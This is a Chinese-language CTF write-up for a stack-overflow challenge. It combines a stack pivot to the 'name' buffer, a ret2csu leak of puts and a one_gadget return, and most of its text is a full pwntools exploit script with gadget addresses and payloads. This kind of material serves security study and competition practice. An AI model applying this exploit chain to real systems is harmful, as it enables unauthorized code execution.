看完题,会不会认为出题人傻不拉几的,出这种题,但当我往name写入shellcode,栈溢出到name时发现打不通,额。。。。。
原来name出是不可以执行的,小丑竟是我自己,不由的想该如何利用,在快速提取我以往的做题经验后,想到一个办法:
就是栈迁移到name,然后利用ret2csu泄露puts地址在ret到vuln函数,再来一次栈溢出打one_gadget。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
p = process('./stack')
elf=ELF('./stack')
#io = remote('59.110.24.117',33320)
libc = ELF('./libc.so.6')
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(p)
pause()
ret=0x0000000000400509
first_csu=0x400796
second_csu=0x0400780
leave_ret=0x0400718
puts_got=elf.got['puts']
puts_offset=libc.symbols['puts']
read_got=elf.got['read']
start_addr=0x0000000004006C7#0x000400570
def ret_csu(r12, r13, r14, r15, last):
payload = ''
payload += p64(first_csu) + '0' * 8
payload += p64(0) + p64(1)
payload += p64(r12)
payload += p64(r13) + p64(r14) + p64(r15)
payload += p64(second_csu)
payload += '0' * 56
payload += p64(last)
return payload
payload1= p64(ret)*0x40+ret_csu(puts_got, 0, 1, puts_got, start_addr)#
# payload1= ret_csu(read_got, 0x100, start_addr, 0, start_addr)
# payload1=p64(0)+p64(first_csu)+payload3
# dbg()
payload2=b'0'*0x70+p64(0x06010A0-8)+p64(leave_ret)
sla('input your name:\n',payload1)
# dbg()
sla('input your data:\n',payload2)
# pause()
# sl(asm(shellcraft.sh()))
# dbg()
puts_addr=u64(p.recv(6).ljust(8, "\x00"))
lg('puts_addr')
libc_addr=puts_addr-puts_offset
ogg=libc_addr+0x4527a#0x45226
# sla('input your name:\n',b'a')
payload3=b'a'*0x78+p64(ogg)
sla('input your data:\n',payload3)
irt()
这里有一个注意点就是:
payload1= p64(ret)*0x40+ret_csu(puts_got, 0, 1, puts_got, start_addr)#
注意name后面要填充一些ret来吧rsp往高地址移动,因为在调用vuln后,name地址后面有一些地方是io,和got表的地址,如果太近就会在调用vuln时改掉里面的值,然后就报错。
下图就是没有加ret时的报错:
可以看到puts的got表的内容被改成了1,然后在调用puts函数的时候就会报错。